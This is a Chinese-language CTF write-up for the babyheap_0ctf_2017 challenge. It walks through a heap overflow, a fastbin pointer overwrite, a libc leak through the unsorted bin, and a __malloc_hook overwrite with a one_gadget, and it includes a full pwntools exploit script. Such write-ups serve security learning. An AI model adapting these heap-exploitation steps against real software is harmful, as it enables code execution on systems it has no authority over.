image.png
    好好写写这道题目,,
    image.png
    main函数的主要逻辑
    image.png
    这是前面的函数,这里分配了一个地址是个随机数,然后用mmap申请了0x1000个空间
    image.png
    allocate函数
    image.png
    fill函数,这里又让输入了一个size,我们前面申请空间就已经申请过了,所以我们看看putttt函数
    image.png
    也没有什么判断两个size的,所以这里存在一个堆溢出的漏洞,而且申请的堆地址都是连续的
    image.png
    freeeee函数
    image.png
    dumppp函数就是show,打印一遍
    这里保护全开,所以got表劫持可以不用想了,泄露libc的地址该怎么办,既然可以自主申请空间,而且有堆溢出,噢这里还有个知识点,然后怎么放进unsorted bin 呢?
    1.不是fastbin

    1. Fastbins[idx=0, size=0x10]
    2. Fastbins[idx=1, size=0x20]
    3. Fastbins[idx=2, size=0x30]
    4. Fastbins[idx=3, size=0x40]
    5. Fastbins[idx=4, size=0x50]
    6. Fastbins[idx=5, size=0x60]
    7. Fastbins[idx=6, size=0x70]
    1. ##define fastbin_index(sz) \
    2. ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

    2.不和top chunk相邻

    1. unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20
    2. 所以我们得到fd的值,然后再减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。-----来自参考网址

    有了libc,然后就是__malloc_hook函数,,,,,fast bin attack 里的Arbitrary Alloc,wiki里有这个攻击的介绍
    好了,接下来就是边调试

    1. creat(0x10)
    2. creat(0x10)
    3. creat(0x10)
    4. creat(0x10)
    5. creat(0x80)
    6. #pause()
    7. free(1)
    8. free(2)
    9. #pause()
    10. payload1 =p64(0)*3+p64(0x21)
    11. payload1+=p64(0)*3+p64(0x21)+p8(0x80)
    12. fill(0,payload1)
    13. payload2 = p64(0)*3+p64(0x21)
    14. fill(3,payload2)
    15. creat(0x10) ##1
    16. creat(0x10) ##2
    17. payload3 = p64(0)*3 +p64(0x91)
    18. fill(3,payload3)
    19. creat(0x80)
    20. free(4)
    21. show(2)

    这部分就是把fastbin的fd链表改了
    image.png
    如果我们再申请两个0x10的堆块,所以这里会有

    1. payload2 = p64(0)*3+p64(0x21)

    将堆块四的size改成0x21,待会申请的堆块就会指向这里,好家伙两个指针指向同一个地方,出大问题了对吧,用vmmap找到申请的堆块,然后慢慢找控制信息。
    image.png
    image.png
    指向第四个堆块

    1. payload3 = p64(0)*3 +p64(0x91)
    2. fill(3,payload3)
    3. creat(0x80)
    4. free(4)
    5. show(2)

    将堆块4放进unsorted bin然后show 出来这样libc的地址就泄露出来了

    1. fd_addr = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
    2. log.success('addr:'+hex(fd_addr))
    3. #pause()
    4. libcbase = fd_addr - 0x58 -0x3c4b20
    5. creat(0x60)#4
    6. free(4)
    7. #pause()
    8. payload4 = p64(fd_addr-0x8b)
    9. fill(2,payload4)
    10. #pause()
    11. creat(0x60)
    12. fill(4,'abcd')
    13. #pause()
    14. creat(0x60)
    15. #pause()
    16. payload5 = b'a'*0x13 +p64(libcbase+0x4526a)
    17. fill(6,payload5)
    18. #pause()
    19. creat(0x10)
    20. io.interactive()

    这里就是第二部分,__malloc_hook的地方,这里的方法wiki里写很详细了,fastbin attack的地方
    完整的wp

    1. from pwn import*
    2. from LibcSearcher import*
    3. #context.log_level = 'debug'
    4. context.arch = 'amd64'
    5. io =process('./babyheap_0ctf_2017')
    6. #io = remote("node4.buuoj.cn",26786)
    7. elf = ELF('./babyheap_0ctf_2017')
    8. libc = ELF('libc-2.23.so')
    9. gdb.attach(io)
    10. def creat(size):
    11. io.recvuntil('Command: ')
    12. io.sendline('1')
    13. io.recvuntil('Size: ')
    14. io.sendline(str(size))
    15. def fill(index,value):
    16. io.recvuntil('Command: ')
    17. io.sendline('2')
    18. io.recvuntil('Index: ')
    19. io.sendline(str(index))
    20. io.recvuntil('Size: ')
    21. io.sendline(str(len(value)))
    22. io.recvuntil('Content: ')
    23. io.send(value)
    24. def free(id):
    25. io.recvuntil('Command: ')
    26. io.sendline('3')
    27. io.recvuntil('Index: ')
    28. io.sendline(str(id))
    29. def show(i):
    30. io.recvuntil('Command: ')
    31. io.sendline('4')
    32. io.recvuntil('Index: ')
    33. io.sendline(str(i))
    34. io.recvline()
    35. creat(0x10)
    36. creat(0x10)
    37. creat(0x10)
    38. creat(0x10)
    39. creat(0x80)
    40. #pause()
    41. free(1)
    42. free(2)
    43. #pause()
    44. payload1 =p64(0)*3+p64(0x21)
    45. payload1+=p64(0)*3+p64(0x21)+p8(0x80)
    46. fill(0,payload1)
    47. pause()
    48. payload2 = p64(0)*3+p64(0x21)
    49. fill(3,payload2)
    50. creat(0x10) ##1
    51. creat(0x10) ##2
    52. payload3 = p64(0)*3 +p64(0x91)
    53. fill(3,payload3)
    54. creat(0x80)
    55. free(4)
    56. show(2)
    57. fd_addr = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
    58. log.success('addr:'+hex(fd_addr))
    59. #pause()
    60. libcbase = fd_addr - 0x58 -0x3c4b20
    61. creat(0x60)#4
    62. free(4)
    63. #pause()
    64. payload4 = p64(fd_addr-0x8b)
    65. fill(2,payload4)
    66. #pause()
    67. creat(0x60)
    68. fill(4,'abcd')
    69. #pause()
    70. creat(0x60)
    71. #pause()
    72. payload5 = b'a'*0x13 +p64(libcbase+0x4526a)
    73. fill(6,payload5)
    74. #pause()
    75. creat(0x10)
    76. io.interactive()